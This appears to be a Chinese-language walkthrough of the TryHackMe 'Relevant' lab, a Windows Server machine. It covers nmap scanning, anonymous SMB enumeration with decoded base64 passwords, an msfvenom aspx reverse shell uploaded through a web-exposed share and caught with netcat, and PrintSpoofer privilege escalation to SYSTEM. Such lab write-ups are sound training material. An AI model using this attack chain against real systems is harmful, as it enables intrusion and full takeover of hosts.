TryHackMe：Relevant(Windows靶机渗透）

TryHackMe：Relevant

https://tryhackme.com/room/relevant

nmap扫描

port scan

# Nmap 7.93 scan initiated Tue Apr  4 15:55:52 2023 as: nmap --min-rate 10000 -p- -oN nmap/port-scan 10.10.92.194
Nmap scan report for 10.10.92.194
Host is up (0.24s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49663/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown# Nmap done at Tue Apr  4 15:56:13 2023 -- 1 IP address (1 host up) scanned in 21.40 seconds

tcp services os scan

# Nmap 7.93 scan initiated Tue Apr  4 15:05:12 2023 as: nmap -sT -sV -O -sC -p80,135,445,3389,49663,49667,49669 -oN nmap/tcp-scan 10.10.133.2
Packet capture filter (device tun0): dst host 10.9.63.59 and (icmp or (tcp and (src host 10.10.133.2)))
OS detection timingRatio() == (1680592051.005 - 1680592050.502) * 1000 / 500 == 1.006
OS detection timingRatio() == (1680592054.178 - 1680592053.675) * 1000 / 500 == 1.006
Nmap scan report for 10.10.133.2
Host is up (0.23s latency).
Scanned at 2023-04-04 15:05:14 CST for 186sPORT      STATE SERVICE            VERSION
80/tcp    open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc              Microsoft Windows RPC
445/tcp   open  microsoft-ds       Windows Server 2016 Standard Evaluation 14393 microsoft-ds
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: RELEVANT
|   NetBIOS_Domain_Name: RELEVANT
|   NetBIOS_Computer_Name: RELEVANT
|   DNS_Domain_Name: Relevant
|   DNS_Computer_Name: Relevant
|   Product_Version: 10.0.14393
|_  System_Time: 2023-04-04T07:07:37+00:00
| ssl-cert: Subject: commonName=Relevant
| Not valid before: 2023-04-03T06:42:56
|_Not valid after:  2023-10-03T06:42:56
|_ssl-date: 2023-04-04T07:08:19+00:00; 0s from scanner time.
49663/tcp open  http               Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49667/tcp open  msrpc              Microsoft Windows RPC
49669/tcp open  msrpc              Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2016 (90%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.93%E=4%D=4/4%OT=80%CT=%CU=%PV=Y%G=N%TM=642BCCE4%P=x86_64-pc-linux-gnu)
SEQ(SP=104%GCD=3%ISR=102%TI=I%II=I%SS=S%TS=A)
OPS(O1=M508NW8ST11%O2=M508NW8ST11%O3=M508NW8NNT11%O4=M508NW8ST11%O5=M508NW8ST11%O6=M508ST11)
WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)
ECN(R=Y%DF=Y%TG=80%W=2000%O=M508NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windowsHost script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)
|   Computer name: Relevant
|   NetBIOS computer name: RELEVANT\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-04-04T00:07:38-07:00
| nbstat: 
|_  ERROR: Name query failed: TIMEOUT
| smb2-time: 
|   date: 2023-04-04T07:07:41
|_  start_date: 2023-04-04T06:43:46
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0sRead from /usr/bin/../share/nmap: nmap-os-db nmap-service-probes nmap-services.
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr  4 15:08:20 2023 -- 1 IP address (1 host up) scanned in 188.57 seconds

udp scan

# Nmap 7.93 scan initiated Tue Apr  4 15:18:31 2023 as: nmap -sU --top-ports 20 -oN nmap/udp-scan 10.10.133.2
Nmap scan report for 10.10.133.2
Host is up (0.21s latency).PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
123/udp   open|filtered ntp
135/udp   open|filtered msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   open|filtered snmp
162/udp   open|filtered snmptrap
445/udp   open|filtered microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  open|filtered nat-t-ike
49152/udp open|filtered unknown# Nmap done at Tue Apr  4 15:18:37 2023 -- 1 IP address (1 host up) scanned in 6.31 seconds

script scan

# Nmap 7.93 scan initiated Tue Apr  4 15:07:56 2023 as: nmap --script=vuln -p80,135,445,3389,49663,49667,49669 -oN nmap/detaial-scan 10.10.133.2
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 10.10.133.2
Host is up (0.24s latency).PORT      STATE SERVICE
80/tcp    open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49663/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknownHost script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)# Nmap done at Tue Apr  4 15:29:36 2023 -- 1 IP address (1 host up) scanned in 1300.49 seconds

通过扫描服务，发现了web服务80端口和49663端口，smb的445端口和rdp的3389端口。

枚举

SMB

# yunki @ yunki in ~ [17:41:58] 
$ smbclient -L 10.10.213.217            
Password for [WORKGROUP\yunki]:Sharename       Type      Comment---------       ----      -------ADMIN$          Disk      Remote AdminC$              Disk      Default shareIPC$            IPC       Remote IPCnt4wrksv        Disk      
SMB1 disabled -- no workgroup available# yunki @ yunki in ~ [17:46:18] 
$ smbclient -N //10.10.213.217/nt4wrksv
Try "help" to get a list of possible commands.
smb: \> pwd
Current directory is \\10.10.213.217\nt4wrksv\
smb: \> ls.                                   D        0  Sun Jul 26 05:46:04 2020..                                  D        0  Sun Jul 26 05:46:04 2020passwords.txt                       A       98  Sat Jul 25 23:15:33 2020
get7735807 blocks of size 4096. 4949211 blocks available
smb: \> get passwords.txt 
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

# yunki @ yunki in ~/tryHackMe/Relevant [17:52:51] C:1
$ cat  passwords.txt            
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk%                                                                                                                
# yunki @ yunki in ~/tryHackMe/Relevant [17:52:53] 
$ sed -n "2p" passwords.txt | base64 -d
Bob - !P@$$W0rD!123base64: 无效的输入# yunki @ yunki in ~/tryHackMe/Relevant [17:53:00] C:1
$ sed -n "3p" passwords.txt | base64 -d
Bill - Juw4nnaM4n420696969!$$$%              

通过尝试，发现这两个用户都是虚假的，蜜罐！

那只能去80和49663端口查看一番了。

gobuster

在80端口没有发现内容，但是在49663端口发现了一个目录，如图。这里发现和smb服务的路径名是一样的，这里尝试访问passwords.txt

# yunki @ yunki in ~/tryHackMe/Relevant [18:09:42] 
$ curl http://10.10.213.217:49663/nt4wrksv/passwords.txt     
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk%                                                                                                                

发现可以访问passwords.txt，那这里尝试能不能上传文件，然后通过web访问。

# yunki @ yunki in ~/tryHackMe/Relevant [18:11:24] 
$ echo "test" > test.txt                                                # yunki @ yunki in ~/tryHackMe/Relevant [18:12:08] 
$ smbclient -N //10.10.213.217/nt4wrksv
Try "help" to get a list of possible commands.
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)# yunki @ yunki in ~/tryHackMe/Relevant [18:11:57] 
$ curl http://10.10.213.217:49663/nt4wrksv/test.txt     
test

发现成功！那这里上传aspx格式的反弹shell。

getshell

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.63.59 LPORT=443 -f aspx -o pwn.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3427 bytes
Saved as: pwn.aspx# yunki @ yunki in ~/tryHackMe/Relevant [18:23:36] 
$ smbclient -N //10.10.213.217/nt4wrksv
Try "help" to get a list of possible commands.
smb: \> put pwn.aspx 
putting file pwn.aspx as \pwn.aspx (4.5 kb/s) (average 4.5 kb/s)
smb: \> exit# yunki @ yunki in ~/tryHackMe/Relevant [18:27:41] C:130
$ curl http://10.10.213.217:49663/nt4wrksv/pwn.aspx

# yunki @ yunki in ~/tryHackMe/Relevant [18:05:45] C:130
$ sudo nc -lnvp 443                                                   
[sudo] yunki 的密码：
listening on [any] 443 ...
connect to [10.9.63.59] from (UNKNOWN) [10.10.213.217] 49905
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.c:\windows\system32\inetsrv>

提权

几个月前出现了一个新的漏洞，叫做Printspoofer，它利用了Windows中的一个漏洞，其中某些服务帐户需要使用SeImpersonate特权以更高的权限运行。我们看到我们是iis apppool\defaultapppool服务帐户用户，这应该允许我们使用Printspoofer漏洞进行提升。
使用SMB共享，我们可以将Printspoofer漏洞上传到计算机，导航到C:/inetpub/wwwroot/nt4wrksv目录，并定位它。

# yunki @ yunki in ~/tryHackMe/Relevant [20:19:22] C:4
$ wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
2023-04-04 20:19:48 (65.8 KB/s) - 已保存 “PrintSpoofer64.exe” [27136/27136])...
...
smb: \> put PrintSpoofer64.exe 
putting file PrintSpoofer64.exe as \PrintSpoofer64.exe (29.2 kb/s) (average 55.7 kb/s)

c:\windows\system32\inetsrv>cd c:\inetpub\wwwroot\nt4wrksv
cd c:\inetpub\wwwroot\nt4wrksvc:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -i -c cmd
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoami 
whoami
nt authority\systemC:\Windows\system32>more c:\users\bob\desktop\user.txt
more c:\users\bob\desktop\user.txtC:\Windows\system32>more C:\users\administrator\desktop\root.txt
more C:\users\administrator\desktop\root.txt

官方walkthrough:https://medium.themayor.tech/relevant-walk-through-on-tryhackme-f7dedfcb00dc